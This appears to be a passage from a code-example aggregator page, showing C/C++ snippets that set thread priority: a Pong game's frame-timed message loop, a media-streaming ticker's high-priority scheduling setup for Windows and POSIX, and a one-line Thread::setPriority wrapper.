			SendMessage(window_handle, WM_DESTROY, 0, 0);
			return 0;
		}
	}
	else
		game.start_game();

	nil::ini ini;
	if(ini.load("pong.ini"))
	{
		game.set_demo_level_limit(ini.number<unsigned>("demo_level_limit", 3));
		SetThreadPriority(GetCurrentThread(), ini.number<int>("thread_priority", 0));
	}

	LARGE_INTEGER frequency_struct;
	QueryPerformanceFrequency(&frequency_struct);
	unsigned long long divisor = frequency_struct.QuadPart / fps;
	unsigned long long last_state = 0ull;
	while(run)
	{
		MSG message;
		while(PeekMessage(&message, window_handle, 0, 0, PM_REMOVE))
		{
			TranslateMessage(&message);
			DispatchMessage(&message);
		}

		LARGE_INTEGER counter;
		QueryPerformanceCounter(&counter);
		unsigned long long current_state = counter.QuadPart / divisor;
		if(last_state < current_state)
		{
			game.invalidate(window_handle);
			game.process_frame(window_handle);
			last_state = current_state;
		}
		//Sleep(20);
	}

	return 0;
}
Пример #29
0
static int set_high_prio(MSTicker *obj){
	int precision=2;
	int result=0;
	char* env_prio_c=NULL;
	//int min_prio, max_prio, env_prio;
	int prio=obj->prio;
	
	if (prio>MS_TICKER_PRIO_NORMAL){
#ifdef WIN32
		MMRESULT mm;
		TIMECAPS ptc;
		mm=timeGetDevCaps(&ptc,sizeof(ptc));
		if (mm==0){
			if (ptc.wPeriodMin<(UINT)precision)
				ptc.wPeriodMin=precision;
			else
				precision = ptc.wPeriodMin;
			mm=timeBeginPeriod(ptc.wPeriodMin);
			if (mm!=TIMERR_NOERROR){
				ms_warning("timeBeginPeriod failed.");
			}
			ms_message("win32 timer resolution set to %i ms",ptc.wPeriodMin);
		}else{
			ms_warning("timeGetDevCaps failed.");
		}

		if(!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)){
			ms_warning("SetThreadPriority() failed (%d)\n", GetLastError());
		}
#else
		struct sched_param param;
		int policy=SCHED_RR;
		memset(&param,0,sizeof(param));

		if (prio==MS_TICKER_PRIO_REALTIME)
			policy=SCHED_FIFO;
		
		min_prio = sched_get_priority_min(policy);
		max_prio = sched_get_priority_max(policy);
		env_prio_c = getenv("MS_TICKER_SCHEDPRIO");

		env_prio = (env_prio_c == NULL)?max_prio:atoi(env_prio_c);

		env_prio = MAX(MIN(env_prio, max_prio), min_prio);
		ms_message("Priority used: %d", env_prio);

		param.sched_priority=env_prio;
		if((result=pthread_setschedparam(pthread_self(),policy, &param))) {
			if (result==EPERM){
				/*
					The linux kernel has 
					sched_get_priority_max(SCHED_OTHER)=sched_get_priority_max(SCHED_OTHER)=0.
					As long as we can't use SCHED_RR or SCHED_FIFO, the only way to increase priority of a calling thread
					is to use setpriority().
				*/
				if (setpriority(PRIO_PROCESS,0,-20)==-1){
					ms_message("%s setpriority() failed: %s, nevermind.",obj->name,strerror(errno));
				}else{
					ms_message("%s priority increased to maximum.",obj->name);
				}
			}else ms_warning("%s: Set pthread_setschedparam failed: %s",obj->name,strerror(result));
		} else {
			ms_message("%s priority set to %s and value (%i)",obj->name,
			           policy==SCHED_FIFO ? "SCHED_FIFO" : "SCHED_RR", param.sched_priority);
		}
#endif
	}
	return precision;
}
Пример #30
0
void Thread::setPriority(int priority)          { verify(SetThreadPriority(_handle, priority)); }